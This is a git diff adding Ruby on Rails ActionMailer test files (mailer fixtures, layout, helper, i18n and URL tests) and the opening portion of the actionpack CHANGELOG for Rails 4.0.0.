diff --git a/actionmailer/test/fixtures/test_mailer/signed_up.html.erb b/actionmailer/test/fixtures/test_mailer/signed_up.html.erb
new file mode 100644
index 0000000..7afe1f6
--- /dev/null
+++ b/actionmailer/test/fixtures/test_mailer/signed_up.html.erb
@@ -0,0 +1,3 @@
+Hello there,
+
+Mr. <%= @recipient %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/url_test_mailer/signed_up_with_url.erb b/actionmailer/test/fixtures/url_test_mailer/signed_up_with_url.erb
new file mode 100644
index 0000000..6e7875c
--- /dev/null
+++ b/actionmailer/test/fixtures/url_test_mailer/signed_up_with_url.erb
@@ -0,0 +1,5 @@
+Hello there,
+
+Mr. <%= @recipient %>. Please see our greeting at <%= @welcome_url %> <%= welcome_url %>
+
+<%= image_tag "somelogo.png" %>
\ No newline at end of file
diff --git a/actionmailer/test/i18n_with_controller_test.rb b/actionmailer/test/i18n_with_controller_test.rb
new file mode 100644
index 0000000..a3e93c9
--- /dev/null
+++ b/actionmailer/test/i18n_with_controller_test.rb
@@ -0,0 +1,46 @@
+require 'abstract_unit'
+require 'action_controller'
+
+class I18nTestMailer < ActionMailer::Base
+ configure do |c|
+ c.assets_dir = ''
+ end
+
+ def mail_with_i18n_subject(recipient)
+ @recipient = recipient
+ I18n.locale = :de
+ mail(to: recipient, subject: "#{I18n.t :email_subject} #{recipient}",
+ from: "system at loudthinking.com", date: Time.local(2004, 12, 12))
+ end
+end
+
+class TestController < ActionController::Base
+ def send_mail
+ I18nTestMailer.mail_with_i18n_subject("test at localhost").deliver
+ render text: 'Mail sent'
+ end
+end
+
+class ActionMailerI18nWithControllerTest < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new
+ Routes.draw do
+ get ':controller(/:action(/:id))'
+ end
+
+ def app
+ Routes
+ end
+
+ def setup
+ I18n.backend.store_translations('de', email_subject: '[Signed up] Welcome')
+ end
+
+ def teardown
+ I18n.locale = :en
+ end
+
+ def test_send_mail
+ get '/test/send_mail'
+ assert_equal "Mail sent", @response.body
+ end
+end
diff --git a/actionmailer/test/log_subscriber_test.rb b/actionmailer/test/log_subscriber_test.rb
new file mode 100644
index 0000000..5f52a1b
--- /dev/null
+++ b/actionmailer/test/log_subscriber_test.rb
@@ -0,0 +1,42 @@
+require "abstract_unit"
+require 'mailers/base_mailer'
+require "active_support/log_subscriber/test_helper"
+require "action_mailer/log_subscriber"
+
+class AMLogSubscriberTest < ActionMailer::TestCase
+ include ActiveSupport::LogSubscriber::TestHelper
+
+ def setup
+ super
+ ActionMailer::LogSubscriber.attach_to :action_mailer
+ end
+
+ class TestMailer < ActionMailer::Base
+ def receive(mail)
+ # Do nothing
+ end
+ end
+
+ def set_logger(logger)
+ ActionMailer::Base.logger = logger
+ end
+
+ def test_deliver_is_notified
+ BaseMailer.welcome.deliver
+ wait
+ assert_equal(1, @logger.logged(:info).size)
+ assert_match(/Sent mail to system at test.lindsaar.net/, @logger.logged(:info).first)
+ assert_equal(1, @logger.logged(:debug).size)
+ assert_match(/Welcome/, @logger.logged(:debug).first)
+ end
+
+ def test_receive_is_notified
+ fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email")
+ TestMailer.receive(fixture)
+ wait
+ assert_equal(1, @logger.logged(:info).size)
+ assert_match(/Received mail/, @logger.logged(:info).first)
+ assert_equal(1, @logger.logged(:debug).size)
+ assert_match(/Jamis/, @logger.logged(:debug).first)
+ end
+end
\ No newline at end of file
diff --git a/actionmailer/test/mail_helper_test.rb b/actionmailer/test/mail_helper_test.rb
new file mode 100644
index 0000000..24ccaab
--- /dev/null
+++ b/actionmailer/test/mail_helper_test.rb
@@ -0,0 +1,111 @@
+require 'abstract_unit'
+
+class HelperMailer < ActionMailer::Base
+ def use_mail_helper
+ @text = "But soft! What light through yonder window breaks? It is the east, " +
+ "and Juliet is the sun. Arise, fair sun, and kill the envious moon, " +
+ "which is sick and pale with grief that thou, her maid, art far more " +
+ "fair than she. Be not her maid, for she is envious! Her vestal " +
+ "livery is but sick and green, and none but fools do wear it. Cast " +
+ "it off!"
+
+ mail_with_defaults do |format|
+ format.html { render(inline: "<%= block_format @text %>") }
+ end
+ end
+
+ def use_format_paragraph
+ @text = "But soft! What light through yonder window breaks?"
+
+ mail_with_defaults do |format|
+ format.html { render(inline: "<%= format_paragraph @text, 15, 1 %>") }
+ end
+ end
+
+ def use_format_paragraph_with_long_first_word
+ @text = "Antidisestablishmentarianism is very long."
+
+ mail_with_defaults do |format|
+ format.html { render(inline: "<%= format_paragraph @text, 10, 1 %>") }
+ end
+ end
+
+ def use_mailer
+ mail_with_defaults do |format|
+ format.html { render(inline: "<%= mailer.message.subject %>") }
+ end
+ end
+
+ def use_message
+ mail_with_defaults do |format|
+ format.html { render(inline: "<%= message.subject %>") }
+ end
+ end
+
+ def use_block_format
+ @text = <<-TEXT
+This is the
+first paragraph.
+
+The second
+ paragraph.
+
+* item1 * item2
+ * item3
+ TEXT
+
+ mail_with_defaults do |format|
+ format.html { render(inline: "<%= block_format @text %>") }
+ end
+ end
+
+ protected
+
+ def mail_with_defaults(&block)
+ mail(to: "test at localhost", from: "tester at example.com",
+ subject: "using helpers", &block)
+ end
+end
+
+class MailerHelperTest < ActionMailer::TestCase
+ def test_use_mail_helper
+ mail = HelperMailer.use_mail_helper
+ assert_match %r{ But soft!}, mail.body.encoded
+ assert_match %r{east, and\r\n Juliet}, mail.body.encoded
+ end
+
+ def test_use_mailer
+ mail = HelperMailer.use_mailer
+ assert_match "using helpers", mail.body.encoded
+ end
+
+ def test_use_message
+ mail = HelperMailer.use_message
+ assert_match "using helpers", mail.body.encoded
+ end
+
+ def test_use_format_paragraph
+ mail = HelperMailer.use_format_paragraph
+ assert_match " But soft! What\r\n light through\r\n yonder window\r\n breaks?", mail.body.encoded
+ end
+
+ def test_use_format_paragraph_with_long_first_word
+ mail = HelperMailer.use_format_paragraph_with_long_first_word
+ assert_equal " Antidisestablishmentarianism\r\n is very\r\n long.", mail.body.encoded
+ end
+
+ def test_use_block_format
+ mail = HelperMailer.use_block_format
+ expected = <<-TEXT
+ This is the first paragraph.
+
+ The second paragraph.
+
+ * item1
+ * item2
+ * item3
+ TEXT
+ assert_equal expected.gsub("\n", "\r\n"), mail.body.encoded
+ end
+end
+
diff --git a/actionmailer/test/mail_layout_test.rb b/actionmailer/test/mail_layout_test.rb
new file mode 100644
index 0000000..7f95928
--- /dev/null
+++ b/actionmailer/test/mail_layout_test.rb
@@ -0,0 +1,105 @@
+require 'abstract_unit'
+
+class AutoLayoutMailer < ActionMailer::Base
+ default to: 'test at localhost',
+ subject: "You have a mail",
+ from: "tester at example.com"
+
+ def hello
+ mail()
+ end
+
+ def spam
+ @world = "Earth"
+ mail(body: render(inline: "Hello, <%= @world %>", layout: 'spam'))
+ end
+
+ def nolayout
+ @world = "Earth"
+ mail(body: render(inline: "Hello, <%= @world %>", layout: false))
+ end
+
+ def multipart(type = nil)
+ mail(content_type: type) do |format|
+ format.text { render }
+ format.html { render }
+ end
+ end
+end
+
+class ExplicitLayoutMailer < ActionMailer::Base
+ layout 'spam', except: [:logout]
+
+ default to: 'test at localhost',
+ subject: "You have a mail",
+ from: "tester at example.com"
+
+ def signup
+ mail()
+ end
+
+ def logout
+ mail()
+ end
+end
+
+class LayoutMailerTest < ActiveSupport::TestCase
+ def setup
+ set_delivery_method :test
+ ActionMailer::Base.perform_deliveries = true
+ ActionMailer::Base.deliveries.clear
+ end
+
+ def teardown
+ restore_delivery_method
+ end
+
+ def test_should_pickup_default_layout
+ mail = AutoLayoutMailer.hello
+ assert_equal "Hello from layout Inside", mail.body.to_s.strip
+ end
+
+ def test_should_pickup_multipart_layout
+ mail = AutoLayoutMailer.multipart
+ assert_equal "multipart/alternative", mail.mime_type
+ assert_equal 2, mail.parts.size
+
+ assert_equal 'text/plain', mail.parts.first.mime_type
+ assert_equal "text/plain layout - text/plain multipart", mail.parts.first.body.to_s
+
+ assert_equal 'text/html', mail.parts.last.mime_type
+ assert_equal "Hello from layout text/html multipart", mail.parts.last.body.to_s
+ end
+
+ def test_should_pickup_multipartmixed_layout
+ mail = AutoLayoutMailer.multipart("multipart/mixed")
+ assert_equal "multipart/mixed", mail.mime_type
+ assert_equal 2, mail.parts.size
+
+ assert_equal 'text/plain', mail.parts.first.mime_type
+ assert_equal "text/plain layout - text/plain multipart", mail.parts.first.body.to_s
+
+ assert_equal 'text/html', mail.parts.last.mime_type
+ assert_equal "Hello from layout text/html multipart", mail.parts.last.body.to_s
+ end
+
+ def test_should_pickup_layout_given_to_render
+ mail = AutoLayoutMailer.spam
+ assert_equal "Spammer layout Hello, Earth", mail.body.to_s.strip
+ end
+
+ def test_should_respect_layout_false
+ mail = AutoLayoutMailer.nolayout
+ assert_equal "Hello, Earth", mail.body.to_s.strip
+ end
+
+ def test_explicit_class_layout
+ mail = ExplicitLayoutMailer.signup
+ assert_equal "Spammer layout We do not spam", mail.body.to_s.strip
+ end
+
+ def test_explicit_layout_exceptions
+ mail = ExplicitLayoutMailer.logout
+ assert_equal "You logged out", mail.body.to_s.strip
+ end
+end
diff --git a/actionmailer/test/mailers/asset_mailer.rb b/actionmailer/test/mailers/asset_mailer.rb
new file mode 100644
index 0000000..f54a50d
--- /dev/null
+++ b/actionmailer/test/mailers/asset_mailer.rb
@@ -0,0 +1,7 @@
+class AssetMailer < ActionMailer::Base
+ self.mailer_name = "asset_mailer"
+
+ def welcome
+ mail
+ end
+end
diff --git a/actionmailer/test/mailers/base_mailer.rb b/actionmailer/test/mailers/base_mailer.rb
new file mode 100644
index 0000000..20b6671
--- /dev/null
+++ b/actionmailer/test/mailers/base_mailer.rb
@@ -0,0 +1,130 @@
+class BaseMailer < ActionMailer::Base
+ self.mailer_name = "base_mailer"
+
+ default to: 'system at test.lindsaar.net',
+ from: 'jose at test.plataformatec.com',
+ reply_to: 'mikel at test.lindsaar.net'
+
+ def welcome(hash = {})
+ headers['X-SPAM'] = "Not SPAM"
+ mail({subject: "The first email on new API!"}.merge!(hash))
+ end
+
+ def welcome_with_headers(hash = {})
+ headers hash
+ mail
+ end
+
+ def welcome_from_another_path(path)
+ mail(template_name: "welcome", template_path: path)
+ end
+
+ def html_only(hash = {})
+ mail(hash)
+ end
+
+ def plain_text_only(hash = {})
+ mail(hash)
+ end
+
+ def inline_attachment
+ attachments.inline['logo.png'] = "\312\213\254\232"
+ mail
+ end
+
+ def attachment_with_content(hash = {})
+ attachments['invoice.pdf'] = 'This is test File content'
+ mail(hash)
+ end
+
+ def attachment_with_hash
+ attachments['invoice.jpg'] = { data: "\312\213\254\232)b",
+ mime_type: "image/x-jpg",
+ transfer_encoding: "base64" }
+ mail
+ end
+
+ def attachment_with_hash_default_encoding
+ attachments['invoice.jpg'] = { data: "\312\213\254\232)b",
+ mime_type: "image/x-jpg" }
+ mail
+ end
+
+ def implicit_multipart(hash = {})
+ attachments['invoice.pdf'] = 'This is test File content' if hash.delete(:attachments)
+ mail(hash)
+ end
+
+ def implicit_with_locale(hash = {})
+ mail(hash)
+ end
+
+ def explicit_multipart(hash = {})
+ attachments['invoice.pdf'] = 'This is test File content' if hash.delete(:attachments)
+ mail(hash) do |format|
+ format.text { render text: "TEXT Explicit Multipart" }
+ format.html { render text: "HTML Explicit Multipart" }
+ end
+ end
+
+ def explicit_multipart_templates(hash = {})
+ mail(hash) do |format|
+ format.html
+ format.text
+ end
+ end
+
+ def explicit_multipart_with_any(hash = {})
+ mail(hash) do |format|
+ format.any(:text, :html){ render text: "Format with any!" }
+ end
+ end
+
+ def explicit_multipart_with_options(include_html = false)
+ mail do |format|
+ format.text(content_transfer_encoding: "base64"){ render "welcome" }
+ format.html{ render "welcome" } if include_html
+ end
+ end
+
+ def explicit_multipart_with_one_template(hash = {})
+ mail(hash) do |format|
+ format.html
+ format.text
+ end
+ end
+
+ def implicit_different_template(template_name='')
+ mail(template_name: template_name)
+ end
+
+ def explicit_different_template(template_name='')
+ mail do |format|
+ format.text { render template: "#{mailer_name}/#{template_name}" }
+ format.html { render template: "#{mailer_name}/#{template_name}" }
+ end
+ end
+
+ def different_layout(layout_name='')
+ mail do |format|
+ format.text { render layout: layout_name }
+ format.html { render layout: layout_name }
+ end
+ end
+
+ def email_with_translations
+ mail body: render("email_with_translations", formats: [:html])
+ end
+
+ def without_mail_call
+ end
+
+ def with_nil_as_return_value
+ mail(:template_name => "welcome")
+ nil
+ end
+
+ def with_subject_interpolations
+ mail(subject: default_i18n_subject(rapper_or_impersonator: 'Slim Shady'), body: '')
+ end
+end
diff --git a/actionmailer/test/mailers/proc_mailer.rb b/actionmailer/test/mailers/proc_mailer.rb
new file mode 100644
index 0000000..733633b
--- /dev/null
+++ b/actionmailer/test/mailers/proc_mailer.rb
@@ -0,0 +1,16 @@
+class ProcMailer < ActionMailer::Base
+ default to: 'system at test.lindsaar.net',
+ 'X-Proc-Method' => Proc.new { Time.now.to_i.to_s },
+ subject: Proc.new { give_a_greeting }
+
+ def welcome
+ mail
+ end
+
+ private
+
+ def give_a_greeting
+ "Thanks for signing up this afternoon"
+ end
+
+end
diff --git a/actionmailer/test/test_helper_test.rb b/actionmailer/test/test_helper_test.rb
new file mode 100644
index 0000000..7c7f0b6
--- /dev/null
+++ b/actionmailer/test/test_helper_test.rb
@@ -0,0 +1,126 @@
+require 'abstract_unit'
+
+class TestHelperMailer < ActionMailer::Base
+ def test
+ @world = "Earth"
+ mail body: render(inline: "Hello, <%= @world %>"),
+ to: "test at example.com",
+ from: "tester at example.com"
+ end
+end
+
+class TestHelperMailerTest < ActionMailer::TestCase
+ def test_setup_sets_right_action_mailer_options
+ assert_equal :test, ActionMailer::Base.delivery_method
+ assert ActionMailer::Base.perform_deliveries
+ assert_equal [], ActionMailer::Base.deliveries
+ end
+
+ def test_setup_creates_the_expected_mailer
+ assert_kind_of Mail::Message, @expected
+ assert_equal "1.0", @expected.mime_version
+ assert_equal "text/plain", @expected.mime_type
+ end
+
+ def test_mailer_class_is_correctly_inferred
+ assert_equal TestHelperMailer, self.class.mailer_class
+ end
+
+ def test_determine_default_mailer_raises_correct_error
+ assert_raise(ActionMailer::NonInferrableMailerError) do
+ self.class.determine_default_mailer("NotAMailerTest")
+ end
+ end
+
+ def test_charset_is_utf_8
+ assert_equal "UTF-8", charset
+ end
+
+ def test_assert_emails
+ assert_nothing_raised do
+ assert_emails 1 do
+ TestHelperMailer.test.deliver
+ end
+ end
+ end
+
+ def test_repeated_assert_emails_calls
+ assert_nothing_raised do
+ assert_emails 1 do
+ TestHelperMailer.test.deliver
+ end
+ end
+
+ assert_nothing_raised do
+ assert_emails 2 do
+ TestHelperMailer.test.deliver
+ TestHelperMailer.test.deliver
+ end
+ end
+ end
+
+ def test_assert_emails_with_no_block
+ assert_nothing_raised do
+ TestHelperMailer.test.deliver
+ assert_emails 1
+ end
+
+ assert_nothing_raised do
+ TestHelperMailer.test.deliver
+ TestHelperMailer.test.deliver
+ assert_emails 3
+ end
+ end
+
+ def test_assert_no_emails
+ assert_nothing_raised do
+ assert_no_emails do
+ TestHelperMailer.test
+ end
+ end
+ end
+
+ def test_assert_emails_too_few_sent
+ error = assert_raise ActiveSupport::TestCase::Assertion do
+ assert_emails 2 do
+ TestHelperMailer.test.deliver
+ end
+ end
+
+ assert_match(/2 .* but 1/, error.message)
+ end
+
+ def test_assert_emails_too_many_sent
+ error = assert_raise ActiveSupport::TestCase::Assertion do
+ assert_emails 1 do
+ TestHelperMailer.test.deliver
+ TestHelperMailer.test.deliver
+ end
+ end
+
+ assert_match(/1 .* but 2/, error.message)
+ end
+
+ def test_assert_no_emails_failure
+ error = assert_raise ActiveSupport::TestCase::Assertion do
+ assert_no_emails do
+ TestHelperMailer.test.deliver
+ end
+ end
+
+ assert_match(/0 .* but 1/, error.message)
+ end
+end
+
+class AnotherTestHelperMailerTest < ActionMailer::TestCase
+ tests TestHelperMailer
+
+ def setup
+ @test_var = "a value"
+ end
+
+ def test_setup_shouldnt_conflict_with_mailer_setup
+ assert_kind_of Mail::Message, @expected
+ assert_equal 'a value', @test_var
+ end
+end
diff --git a/actionmailer/test/test_test.rb b/actionmailer/test/test_test.rb
new file mode 100644
index 0000000..86fd37b
--- /dev/null
+++ b/actionmailer/test/test_test.rb
@@ -0,0 +1,28 @@
+require 'abstract_unit'
+
+class TestTestMailer < ActionMailer::Base
+end
+
+class CrazyNameMailerTest < ActionMailer::TestCase
+ tests TestTestMailer
+
+ def test_set_mailer_class_manual
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+class CrazySymbolNameMailerTest < ActionMailer::TestCase
+ tests :test_test_mailer
+
+ def test_set_mailer_class_manual_using_symbol
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
+
+class CrazyStringNameMailerTest < ActionMailer::TestCase
+ tests 'test_test_mailer'
+
+ def test_set_mailer_class_manual_using_string
+ assert_equal TestTestMailer, self.class.mailer_class
+ end
+end
diff --git a/actionmailer/test/url_test.rb b/actionmailer/test/url_test.rb
new file mode 100644
index 0000000..589944f
--- /dev/null
+++ b/actionmailer/test/url_test.rb
@@ -0,0 +1,78 @@
+require 'abstract_unit'
+require 'action_controller'
+
+class WelcomeController < ActionController::Base
+end
+
+AppRoutes = ActionDispatch::Routing::RouteSet.new
+
+class ActionMailer::Base
+ include AppRoutes.url_helpers
+end
+
+class UrlTestMailer < ActionMailer::Base
+ default_url_options[:host] = 'www.basecamphq.com'
+
+ configure do |c|
+ c.assets_dir = '' # To get the tests to pass
+ end
+
+ def signed_up_with_url(recipient)
+ @recipient = recipient
+ @welcome_url = url_for host: "example.com", controller: "welcome", action: "greeting"
+ mail(to: recipient, subject: "[Signed up] Welcome #{recipient}",
+ from: "system at loudthinking.com", date: Time.local(2004, 12, 12))
+ end
+end
+
+class ActionMailerUrlTest < ActionMailer::TestCase
+
+ def encode( text, charset="UTF-8" )
+ quoted_printable( text, charset )
+ end
+
+ def new_mail( charset="UTF-8" )
+ mail = Mail.new
+ mail.mime_version = "1.0"
+ if charset
+ mail.content_type ["text", "plain", { "charset" => charset }]
+ end
+ mail
+ end
+
+ def setup
+ @recipient = 'test at localhost'
+ end
+
+ def test_signed_up_with_url
+ UrlTestMailer.delivery_method = :test
+
+ AppRoutes.draw do
+ get ':controller(/:action(/:id))'
+ get '/welcome' => "foo#bar", as: "welcome"
+ end
+
+ expected = new_mail
+ expected.to = @recipient
+ expected.subject = "[Signed up] Welcome #{@recipient}"
+ expected.body = "Hello there,\n\nMr. #{@recipient}. Please see our greeting at http://example.com/welcome/greeting http://www.basecamphq.com/welcome\n\n<img alt=\"Somelogo\" src=\"/images/somelogo.png\" />"
+ expected.from = "system at loudthinking.com"
+ expected.date = Time.local(2004, 12, 12)
+ expected.content_type = "text/html"
+
+ created = nil
+ assert_nothing_raised { created = UrlTestMailer.signed_up_with_url(@recipient) }
+ assert_not_nil created
+
+ expected.message_id = '<123 at 456>'
+ created.message_id = '<123 at 456>'
+ assert_equal expected.encoded, created.encoded
+
+ assert_nothing_raised { UrlTestMailer.signed_up_with_url(@recipient).deliver }
+ assert_not_nil ActionMailer::Base.deliveries.first
+ delivered = ActionMailer::Base.deliveries.first
+
+ delivered.message_id = '<123 at 456>'
+ assert_equal expected.encoded, delivered.encoded
+ end
+end
diff --git a/actionpack/CHANGELOG.md b/actionpack/CHANGELOG.md
new file mode 100644
index 0000000..e30029f
--- /dev/null
+++ b/actionpack/CHANGELOG.md
@@ -0,0 +1,1193 @@
+## Rails 4.0.0 (unreleased) ##
+
+* Add support for passing custom url options other than `:host` and custom
+ status and flash options to `force_ssl`.
+
+ *Andrew White*
+
+* The `force_ssl` command now builds the redirect url from `request.fullpath`.
+ This ensures that the format is maintained and it doesn't redirect to a route
+ that has the same parameters but is defined earlier in `routes.rb`. Also any
+ optional segments are maintained.
+
+ Fixes #7528, #9061, #10305.
+
+ *Andrew White*
+
+* Return a 405 Method Not Allowed response when a request contains an unknown
+ HTTP method.
+
+ *Lewis Marshall*
+
+* Add support for extracting the port from the `:host` option passed to `url_for`.
+
+ *Andrew White*
+
+* Add support for removing the subdomain from a url by passing `nil`, `false` or `''`.
+ Fixes #10180.
+
+ *Derek Watson + Andrew White*
+
+* Element of the collection for `options_from_collection_for_select` helper can
+ optionally contain html attributes as the last element of the array as
+ `options_for_select` helper.
+
+ *Vasiliy Ermolovich*
+
+* Fix explicit names on multiple file fields. If a file field tag has
+ the multiple option, it is turned into an array field (appending `[]`),
+ but if an explicit name is passed to `file_field` the `[]` is not
+ appended.
+ Fixes #9830.
+
+ *Ryan McGeary*
+
+* Add block support for the `mail_to` helper, similar to the `link_to` helper.
+
+ *Sam Pohlenz*
+
+* Automatically configure cookie-based sessions to be encrypted if
+ `secret_key_base` is set, falling back to signed if only `secret_token`
+ is set. Automatically upgrade existing signed cookie-based sessions from
+ Rails 3.x to be encrypted if both `secret_key_base` and `secret_token`
+ are set, or signed with the new key generator if only `secret_token` is
+ set. This leaves only the `config.session_store :cookie_store` option and
+ removes the two new options introduced in 4.0.0.beta1:
+ `encrypted_cookie_store` and `upgrade_signature_to_encryption_cookie_store`.
+
+ *Trevor Turk*
+
+* Ensure consistent fallback to the default layout lookup for layouts set
+ using symbols or procs that return `nil`.
+
+ All of the following layouts will result in the default layout lookup:
+
+ layout nil
+
+ layout proc { nil }
+
+ layout :returns_nil
+ def returns_nil
+ nil
+ end
+
+ Previously symbols and procs which returned `nil` resulted in no layout which
+ differed from the `layout nil` behavior. To get the "no layout" behavior just
+ return `false` instead of `nil` for `layout`.
+
+ *Chris Nicola*
+
+* Create `UpgradeLegacySignedCookieJar` to transparently upgrade existing signed
+ cookies generated by Rails 3.x to avoid invalidating them when upgrading to Rails 4.x.
+
+ *Trevor Turk + Neeraj Singh*
+
+* Raise an `ArgumentError` when a clashing named route is defined.
+
+ *Trevor Turk*
+
+* Allow default url options to accept host with protocol such as `http://`
+
+ config.action_mailer.default_url_options = { host: "http://mydomain.com" }
+
+ *Richard Schneeman*
+
+* Ensure that digest authentication responds with a 401 status when a basic
+ header is received.
+
+ *Brad Dunbar*
+
+* Include I18n locale fallbacks in view lookup.
+ Fixes #3512.
+
+ *Juan Barreneche*
+
+* Integration and functional tests allow headers and rack env
+ variables to be passed when performing requests.
+ Fixes #6513.
+
+ Example:
+
+ # integration test
+ get "/success", {}, "HTTP_REFERER" => "http://test.com/",
+ "Accepts" => "text/plain, text/html"
+
+ # functional test
+ @request.headers["Accepts"] = "text/plain, text/html"
+
+ *Yves Senn*
+
+* Http::Headers respects headers that are not prefixed with HTTP_
+
+ *Yves Senn*
+
+* Fix incorrectly appended square brackets to a multiple select box
+ if an explicit name has been given and it already ends with "[]"
+
+ Before:
+
+ select(:category, [], {}, multiple: true, name: "post[category][]")
+ # => <select name="post[category][][]" ...>
+
+ After:
+
+ select(:category, [], {}, multiple: true, name: "post[category][]")
+ # => <select name="post[category][]" ...>
+
+ *Olek Janiszewski*
+
+* Fixed regression when using `assert_template` to verify files sent using
+ `render file: 'README.md'`.
+ Fixes #9464.
+
+ *Justin Coyne*
+
+* Fixed `ActionView::Helpers::CaptureHelper#content_for` regression when trying to use it in
+ a boolean statement.
+ Fixes #9360.
+
+ *Nikolay Shebanov*
+
+* `format: true` does not override existing format constraints.
+ Fixes #9466.
+
+ Example:
+
+ # This will force the .json extension.
+ get '/json_only', to: ok, format: true, constraints: { format: /json/ }
+
+ *Yves Senn*
+
+* Skip valid encoding checks for non-String parameters that come
+ from the matched route's defaults.
+ Fixes #9435.
+
+ Example:
+
+ root to: 'main#posts', page: 1
+
+ *Yves Senn*
+
+* Don't verify Regexp requirements for non-Regexp `:constraints`.
+ Fixes #9432.
+
+ Example:
+
+ get '/photos.:format' => 'feeds#photos', constraints: {format: 'xml'}
+
+ *Yves Senn*
+
+* Make `ActionDispatch::Journey::Path::Pattern#new` raise more meaningful exception message.
+
+ *Thierry Zires*
+
+
+## Rails 4.0.0.beta1 (February 25, 2013) ##
+
+* Fix `respond_to` not using formats that have no block if all is present. *Michael Grosser*
+
+* New applications use an encrypted session store by default.
+
+ *Santiago Pastorino*
+
+* Determine the controller#action from only the matched path when using the
+ shorthand syntax. Previously the complete path was used, which led
+ to problems with nesting (scopes and namespaces).
+ Fixes #7554.
+
+ Example:
+
+ # This will route to questions#new.
+ scope ':locale' do
+ get 'questions/new'
+ end
+
+ *Yves Senn*
+
+* Remove support for parsing XML parameters from request. If you still want to parse XML
+ parameters, please install `actionpack-xml_parser' gem.
+
+ *Prem Sichanugrist*
+
+* Remove support for parsing YAML parameters from request.
+
+ *Aaron Patterson*
+
+* Add a message when you have no routes defined to both `rake routes` and
+ GET "/rails/info/routes" that lets you know you have none defined and links
+ to the Rails guide on the topic.
+
+ *Steve Klabnik*
+
+* Change `image_alt` method to replace underscores/hyphens to spaces in filenames.
+
+ Previously, underscored filenames became `alt="A_long_file_name_with_underscores"`
+ in HTML, which is poor for accessibility. For instance, Apple's VoiceOver Utility
+ pronounces each underscore. `A_long_file_name` thus would be read as `A underscore
+ long underscore file underscore name.` Now underscored or hyphenated filenames
+ (both of which are very popular naming conventions) read more naturally in
+ screen readers by converting both hyphens and underscores to spaces.
+
+ Before:
+
+ image_tag('underscored_file_name.png')
+ # => <img alt="Underscored_file_name" src="/assets/underscored_file_name.png" />
+
+ After:
+
+ image_tag('underscored_file_name.png')
+ # => <img alt="Underscored file name" src="/assets/underscored_file_name.png" />
+
+ *Nick Cox*
+
+* We don't support Ruby constant notation in the `:controller` option for route
+ definitions. So, this raises an `ArgumentError` now:
+
+ resources :posts, controller: "Admin::Posts" # WRONG
+
+ Use path notation instead:
+
+ resources :posts, controller: "admin/posts" # RIGHT
+
+ *Yves Senn*
+
+* `assert_template` can be used to verify the locals of partials,
+ which live inside a directory.
+
+ # Prefixed partials inside directories worked and still work.
+ assert_template partial: 'directory/_partial', locals: {name: 'John'}
+
+ # This did not work but does now.
+ assert_template partial: 'directory/partial', locals: {name: 'John'}
+
+ Fixes #8516.
+
+ *Yves Senn*
+
+* Fix `content_tag_for` with array HTML option.
+ It would embed array as string instead of joining it like `content_tag` does:
+
+ content_tag(:td, class: ["foo", "bar"]){}
+ # => <td class="foo bar"></td>
+
+ Before:
+
+ content_tag_for(:td, item, class: ["foo", "bar"])
+ # => <td class="item ["foo", "bar"]" id="item_1"></td>
+
+ After:
+
+ content_tag_for(:td, item, class: ["foo", "bar"])
+ # => <td class="item foo bar" id="item_1"></td>
+
+ *Semyon Perepelitsa*
+
+* Remove `BestStandardsSupport` middleware, !DOCTYPE html already triggers
+ standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx
+ and ChromeFrame header has been moved to `config.action_dispatch.default_headers`
+
+ *Guillermo Iguaran*
+
+* Fix CSRF protection and `current_url?` helper to work with HEAD requests
+ now that `ActionDispatch::Head` has been removed in favor of `Rack::Head`.
+
+ *Michiel Sikkes*
+
+* Change `asset_path` to not include `SCRIPT_NAME` when it's used
+ from a mounted engine. Fixes #8119.
+
+ *Piotr Sarnacki*
+
+* Add JavaScript based routing path matcher to `/rails/info/routes`.
+ Routes can now be filtered by whether or not they match a path.
+
+ *Richard Schneeman*
+
+* Change the behavior of route defaults so that explicit defaults are no longer
+ required where the key is not part of the path. For example:
+
+ resources :posts, bucket_type: 'posts'
+
+ will be required whenever constructing the url from a hash such as a functional
+ test or using `url_for` directly. However using the explicit form alters the
+ behavior so it's not required:
+
+ resources :projects, defaults: { bucket_type: 'projects' }
+
+ This changes existing behavior slightly in that any routes which only differ
+ in their defaults will match the first route rather than the closest match.
+
+ *Andrew White*
+
+* Add support for routing constraints other than Regexp and String.
+ For example this now allows the use of arrays like this:
+
+ get '/foo/:action', to: 'foo', constraints: { subdomain: %w[www admin] }
+
+ or constraints where the request method returns an Fixnum like this:
+
+ get '/foo', to: 'foo#index', constraints: { port: 8080 }
+
+ Note that this only applies to constraints on the request - path constraints
+ still need to be specified as Regexps as the various constraints are compiled
+ into a single Regexp.
+
+ *Andrew White*
+
+* Fix a bug in integration tests where setting the port via a url passed to
+ the process method was ignored when constructing the request environment.
+
+ *Andrew White*
+
+* Allow `:selected` to be set on `date_select` tag helper.
+
+ *Colin Burn-Murdoch*
+
+* Fixed JSON params parsing regression for non-object JSON content.
+
+ *Dylan Smith*
+
+* Extract `ActionDispatch::PerformanceTest` into https://github.com/rails/rails-perftest
+ You can add the gem to your Gemfile to keep using performance tests.
+
+ gem 'rails-perftest'
+
+ *Yves Senn*
+
+* Added view_cache_dependency API for declaring dependencies that affect
+ cache digest computation.
+
+ *Jamis Buck*
+
+* `image_submit_tag` will set `alt` attribute from image source if not
+ specified.
+
+ *Nihad Abbasov*
+
+* Do not generate local variables for partials without object or collection.
+ Previously rendering a partial without giving `:object` or `:collection`
+ would generate a local variable with the partial name by default.
+
+ *Carlos Antonio da Silva*
+
+* Return the last valid, non-private IP address from the X-Forwarded-For,
+ Client-IP and Remote-Addr headers, in that order. Document the rationale
+ for that decision, and describe the options that can be passed to the
+ RemoteIp middleware to change it.
+ Fixes #7979.
+
+ *André Arko*, *Steve Klabnik*, *Alexey Gaziev*
+
+* Do not append second slash to `root_url` when using `trailing_slash: true`
+ Fixes #8700.
+
+ Before:
+
+ root_url(trailing_slash: true) # => http://test.host//
+
+ After:
+
+ root_url(trailing_slash: true) # => http://test.host/
+
+ *Yves Senn*
+
+* Allow to toggle dumps on error pages.
+
+ *Gosha Arinich*
+
+* Fix a bug in `content_tag_for` that prevents it from working without a block.
+
+ *Jasl*
+
+* Change the stylesheet of exception pages for development mode.
+ Additionally display also the line of code and fragment that raised
+ the exception in all exceptions pages.
+
+ *Guillermo Iguaran + Jorge Cuadrado*
